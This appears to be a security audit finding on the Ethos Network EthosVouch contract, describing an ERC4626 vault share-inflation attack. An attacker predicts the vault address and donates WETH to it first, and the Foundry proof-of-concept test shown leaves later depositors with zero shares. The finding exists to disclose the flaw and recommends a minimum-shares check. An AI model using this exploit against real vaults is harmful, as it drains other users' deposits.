Mythical Mauve Monkey
High
The EthosVouch function uses an ERC4626 vault to manage user deposits. An attacker can manipulate share values by directly transferring WETH to the vault before legitimate users deposit, resulting in unfairly low/zero share allocation for subsequent users.
In vouch the share amount of user get after deposit is not checked. https://github.com/sherlock-audit/2024-10-ethos-network/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L329
IEthosVaultETHUnderlying(vaultAddress).depositETH{ value: msg.value }(msg.sender); //@audit user get share amount is not checked
No response
No response
1.predict the vault address 2.deposit some WETH to pool
subsequent users lost of deposit funds
test:
function vouchByAddress(address sender,uint256 payamount,address subjectAddress,string memory comment,string memory metadata) public {
vm.deal(sender,payamount);
vm.prank(sender);
(bool success, bytes memory data) = address(vouch).call{value: payamount}(
abi.encodeWithSignature("vouchByAddress(address,string,string)", subjectAddress, comment, metadata));
assert(success);
calFee+=payamount;
}
function unvouch(address sender) public {
(,,,uint256 profileId) = profile.profileStatusByAddress(sender);
uint256[] memory countIds = vouch.getVouchCountIds(profileId);
uint256 count;
for(uint256 i;i<countIds.length;i++){
if(count>0) continue;
if(countIds[i]!=0) count = countIds[i];
}
if(countIds.length>0){
uint256 balance = sender.balance;
//cal redeem amount
vm.prank(sender);
vouch.unvouch(count);
vm.prank(sender);
vouch.markUnhealthy(count);
assert(vouch.getBalanceByVouchId(count) == 0);
}
}
function testUserVouchAndUnVouch() public {
address predictVaultAddrs = address(0x61a0009C8E5f6e87CAf2D3B57081c27882a0187e);
vm.deal(address(this),1e15);
weth.deposit{value:1e15}();
weth.transfer(predictVaultAddrs, 1e15);
//custom unit function for vouch
vouchByAddress(address(0x10000),1e15,address(0x20000),"","");
vouchByAddress(address(0x30000),1e15,address(0x20000),"","");
vouchByAddress(address(0x40000),1e15,address(0x20000),"","");
unvouch(address(0x10000));
console2.log("1 remaining", address(0x10000).balance);
unvouch(address(0x30000));
console2.log("2 remaining", address(0x30000).balance);
unvouch(address(0x40000));
console2.log("3 remaining", address(0x40000).balance);
console2.log("vault remaining", weth.balanceOf(predictVaultAddrs));
}
shell:
ftv testUserVouchAndUnVouch
out:
Logs:
user mint shares: 0
user mint shares: 0
user mint shares: 0
1 remaining 0
2 remaining 0
3 remaining 0
vault remaining 3940000000000000
Implement minimum shares received check